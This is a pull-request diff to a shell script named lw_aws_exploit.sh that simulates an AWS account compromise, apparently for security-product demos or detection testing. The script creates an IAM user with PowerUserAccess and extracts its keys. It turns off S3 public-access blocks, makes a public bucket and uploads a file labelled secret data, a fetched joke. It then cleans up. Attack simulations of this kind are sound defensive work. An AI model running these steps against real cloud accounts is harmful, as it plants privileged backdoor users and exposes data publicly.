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fix(profile): use different profiles for attacker/created acccount an… #141

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fix(profile): use different profiles for attacker/created acccount an… #141

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34 changes: 22 additions & 12 deletions util/scripts/lw_aws_exploit.sh
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Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,16 @@ cyn=$'\e[1;36m'
end=$'\e[0m'

USERNAME=${1:-system}
PROFILE=lacework
PROFILE=${2:-$AWS_PROFILE}
ATTACKER_PROFILE=attack

if [ -z $PROFILE ]; then
echo "must pass profile as second argument or set AWS_PROFILE before execution"
exit 1
fi

# Disabling paging
export AWS_PAGER=""

# Create a new IAM user
echo "${grn}Creating a new IAM user called ${mag}$USERNAME${end}"
Expand All @@ -23,43 +32,44 @@ aws iam create-user --user-name $USERNAME --profile $PROFILE | jq
aws iam create-access-key --user-name $USERNAME --profile $PROFILE > creds.json
echo ""
echo "${grn}Granting PowerUser access to ${mag}$USERNAME${end}"
aws iam attach-user-policy --user-name $USERNAME --profile $PROFILE --policy-arn arn:aws:iam::aws:policy/PowerUserAccess
aws iam attach-user-policy --user-name $USERNAME --policy-arn arn:aws:iam::aws:policy/PowerUserAccess --profile $PROFILE
export KEY=$(cat creds.json | jq -r .AccessKey.AccessKeyId)
export SECRET=$(cat creds.json | jq -r .AccessKey.SecretAccessKey)

# Here we start using the new account profile and creds
echo ""
echo "${grn}Creating a new S3 bucket and uploading a file...${end}"
aws configure set aws_access_key_id "$KEY" --profile $PROFILE
aws configure set aws_secret_access_key "$SECRET" --profile $PROFILE
aws configure set aws_access_key_id "$KEY" --profile $ATTACKER_PROFILE
aws configure set aws_secret_access_key "$SECRET" --profile $ATTACKER_PROFILE

sleep 10
bucket=$(aws s3api create-bucket --bucket dropbox-$RANDOM --region us-east-1 --object-ownership ObjectWriter --profile $PROFILE | jq -r .Location)
bucket=$(aws s3api create-bucket --bucket dropbox-$RANDOM --region us-east-1 --object-ownership ObjectWriter --profile $ATTACKER_PROFILE | jq -r .Location)
bucket=${bucket#/}


aws s3api put-public-access-block \
--profile $ATTACKER_PROFILE \
--bucket $bucket \
--public-access-block-configuration "BlockPublicAcls=false,IgnorePublicAcls=false,BlockPublicPolicy=false,RestrictPublicBuckets=false" \
--profile $PROFILE
--public-access-block-configuration "BlockPublicAcls=false,IgnorePublicAcls=false,BlockPublicPolicy=false,RestrictPublicBuckets=false"

aws s3api put-bucket-acl --bucket $bucket --acl public-read --profile $PROFILE
aws s3api put-bucket-acl --bucket $bucket --acl public-read --profile $ATTACKER_PROFILE

curl -H "Accept: application/json" https://icanhazdadjoke.com/ > badfile.json
echo ""
echo "${grn}Uploading secret data...${end}"
aws s3api put-object --acl public-read --bucket $bucket --key badfile.json --body badfile.json --profile $PROFILE
aws s3api put-object --acl public-read --bucket $bucket --key badfile.json --body badfile.json --profile $ATTACKER_PROFILE
sleep 10

echo ""
echo "${grn}Data uploaded. Preparing to destroy...${end}"
sleep 10
echo "${grn}Deleting file and S3 bucket...${end}"
aws s3api delete-object --bucket $bucket --key badfile.json --profile $PROFILE
aws s3api delete-bucket --bucket $bucket --profile $PROFILE
aws s3api delete-object --bucket $bucket --key badfile.json --profile $ATTACKER_PROFILE
aws s3api delete-bucket --bucket $bucket --profile $ATTACKER_PROFILE

# Exit back out to our regular context
echo "${grn}Cleaning up..."
aws iam detach-user-policy --user-name $USERNAME --profile $PROFILE --policy-arn arn:aws:iam::aws:policy/PowerUserAccess
aws iam detach-user-policy --user-name $USERNAME --policy-arn arn:aws:iam::aws:policy/PowerUserAccess --profile $PROFILE
aws iam delete-access-key --access-key-id $KEY --user-name $USERNAME --profile $PROFILE
aws iam delete-user --user-name $USERNAME --profile $PROFILE
rm creds.json
Expand Down